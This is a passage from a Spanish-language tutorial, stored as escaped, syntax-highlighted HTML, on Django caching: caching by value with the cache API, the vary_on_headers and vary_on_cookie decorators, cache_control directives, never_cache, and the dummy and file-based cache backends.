style=&#34;color:#ff9f43&#34;&gt;4991&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;X-Content-Type-Options: nosniff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Referrer-Policy: same-origin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server-Timing: TimerPanel_utime;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;40.300000000000004;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;User CPU time&amp;#34;&lt;/span&gt;, TimerPanel_stime;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;4.150000000000015;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;System CPU time&amp;#34;&lt;/span&gt;, TimerPanel_total;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;44.45000000000002;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Total CPU time&amp;#34;&lt;/span&gt;, TimerPanel_total_time;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;45.484066009521484;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Elapsed time&amp;#34;&lt;/span&gt;, SQLPanel_sql_time;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;4.948616027832031;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;SQL 2 queries&amp;#34;&lt;/span&gt;, CachePanel_total_time;&lt;span style=&#34;color:#ff5c57&#34;&gt;dur&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.33092498779296875;&lt;span style=&#34;color:#ff5c57&#34;&gt;desc&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cache 1 Calls&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Django guarda cada entrada de caché por url, no por vista, por lo que si usas una misma vista para múltiples urls, cada url se pondrá en una entrada de caché diferente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;cache-por-valor&#34;&gt;Caché por valor&lt;/h2&gt;&#xA;&lt;p&gt;Aquí estamos cacheando el resultado de una url, pero ¿y si solo queremos cachear el resultado de una consulta o renderizado costosa? ¿o quizás algún valor en especifico?&lt;/p&gt;&#xA;&lt;p&gt;Podemos trabajar directamente con memcached usando django, asociando una llave con un valor y asignándole un tiempo de vida. Una vez transcurrido el tiempo de vida el valor se eliminará y obtendremos &lt;em&gt;None&lt;/em&gt; si intentamos acceder a él.&lt;/p&gt;&#xA;&lt;p&gt;Puedes pensar en la caché como un diccionario de Python con fecha de expiración.&lt;/p&gt;&#xA;&lt;p&gt;La caché por valor nos permite crear patrones como este:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; yourApp.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Large&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; yourApp.api.serializers &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; LargeSerializer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;LargeViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Viewset):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        querysetCostosoEnCache &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;querysetCostoso&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# devuelve None si no existe&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; querysetCostosoEnCache:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response(querysetCostosoEnCache)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        querysetCostoso &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Large&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        serializer &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; LargeSerializer(querysetCostoso)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Una vez calculado lo guardamos en caché para no tener que calcularlo de nuevo&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;querysetCostoso&amp;#39;&lt;/span&gt;, serializer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;data, &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;180&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response(serializer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si queremos usar valores por defecto si no existe un valor en la caché le pasamos el valor como segundo argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;valorCostoso&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;valorPorDefecto&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También podemos obtener múltiples llaves pasándole una lista de llaves al método &lt;em&gt;get_many()&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_many([&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;llave1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;llave2&amp;#39;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y si queremos deshacernos de algún valor usamos el método &lt;em&gt;delete()&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cache&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;delete(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;llaveAsociada&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-que-depende-de-cookies-headers-y-no-cache&#34;&gt;Caché que depende de cookies, headers y no-cache&lt;/h2&gt;&#xA;&lt;p&gt;¿Qué tal si queremos que django ponga en caché diferentes versiones de una respuesta dependiendo de una cookie o un header específico? Por ejemplo, una caché para la ruta &lt;em&gt;/videogames/&lt;/em&gt; con la cookie CONFIG=1 y otra para la cookie CONFIG=2. O , o una caché para la ruta &lt;em&gt;/videogames/&lt;/em&gt; con el navegador Firefox y otra con el navegador Chromium.&lt;/p&gt;&#xA;&lt;p&gt;Tenemos decoradores que se encargan de conseguir exactamente esto.&lt;/p&gt;&#xA;&lt;h3 id=&#34;vary_on_headers&#34;&gt;vary_on_headers&lt;/h3&gt;&#xA;&lt;p&gt;vary_on_headers pondrá una respuesta diferente de caché para cada header userAgent diferente. Recuerda que las cookies se especifican por medio de headers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.vary &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; vary_on_headers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@vary_on_headers&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;User­Agent&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vistaParaCadaNavegador&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@vary_on_headers&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;User­Agent&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Cookie&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vistaParaCadaNavegador&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;vary_on_cookie&#34;&gt;vary_on_cookie&lt;/h3&gt;&#xA;&lt;p&gt;Este decorador creará una entrada diferente en la caché para cada cookie que reciba nuestra vista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.vary &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; vary_on_headers&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@vary_on_cookie&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vistaParaCadaCookie&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dado que django lleva un registro de cada sesión individual usando cookies, podemos poner en caché las vistas por usuario&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.response &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; APIView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; rest_framework &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; viewsets&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;UserViewSet&lt;/span&gt;(viewsets&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Viewset):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Caché por usuario que dura 30 minutos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(cache_page(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;30&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff9f43&#34;&gt;@method_decorator&lt;/span&gt;(vary_on_cookie)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        newsfeed &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user_newsfeed&amp;#39;&lt;/span&gt;: request&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get_user_newsfeed()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; Response(newsfeed)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;otros-encabezados-de-cache&#34;&gt;Otros encabezados de caché&lt;/h3&gt;&#xA;&lt;p&gt;Podemos modificar directamente las directivas del header cache-control pasándoselas como argumentos a nuestro decorador del mismo nombre.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache_control&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@cache_control&lt;/span&gt;(must_revalidate&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, max_age&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3600&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos especificar otros encabezados de caché como los siguientes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public=True&lt;/li&gt;&#xA;&lt;li&gt;private=True&lt;/li&gt;&#xA;&lt;li&gt;no_cache=True&lt;/li&gt;&#xA;&lt;li&gt;no_transform=True&lt;/li&gt;&#xA;&lt;li&gt;must_revalidate=True&lt;/li&gt;&#xA;&lt;li&gt;proxy_revalidate=True&lt;/li&gt;&#xA;&lt;li&gt;max_age=num_seconds&lt;/li&gt;&#xA;&lt;li&gt;s_maxage=num_seconds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para ver la lista completa de directivas y lo que hace cada una visita las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;especificaciones de los protocolos&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;no-cachear&#34;&gt;No cachear&lt;/h3&gt;&#xA;&lt;p&gt;Si queremos evitar que django ponga en caché nuestras vistas las marcamos con el decorador &lt;em&gt;@never_cache&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; never_cache&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@never_cache&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;some_random_view&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-en-el-entorno-de-desarrollo&#34;&gt;Caché en el entorno de desarrollo&lt;/h2&gt;&#xA;&lt;p&gt;Si estás desarrollando un sitio web con Django y por alguna razón no puedes (o no quieres) instalar redis, memcached o cualquier otro sistema de almacenamiento de caché, puedes usar una caché falsa que provee Django. La caché falsa engañará a tu aplicación y la hará creer que hay un sistema de almacemiento de caché real.&lt;/p&gt;&#xA;&lt;p&gt;Para activarla usa como backend la caché dummy configurandola como backend en tu archivo de configuraciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.dummy.DummyCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-basado-en-el-sistema-de-archivo-base-de-datos-memoria-u-otros-tipos-de-cache-en-django&#34;&gt;Caché basado en el sistema de archivo, base de datos, memoria u otros tipos de caché en Django&lt;/h2&gt;&#xA;&lt;p&gt;Además de la caché usando memcached, puedes guardar los datos directamente en memoria, usar una base de datos o directamente como información del disco duro. Para ello basta con cambiar la variable de configuración CACHES por otras locaciones.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, esta configuración guardará la caché en el directorio &lt;em&gt;/tmp/&lt;/em&gt; del sistema operativo. La caché será más lenta que memcached, pero menos efímera, incluso puedes especificar otra ubicación fuera del directorio &lt;em&gt;/tmp/&lt;/em&gt; si buscas una caché que sobreviva a reinicios, aunque mucho más lenta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.filebased.FileBasedCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/var/tmp/django_cache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    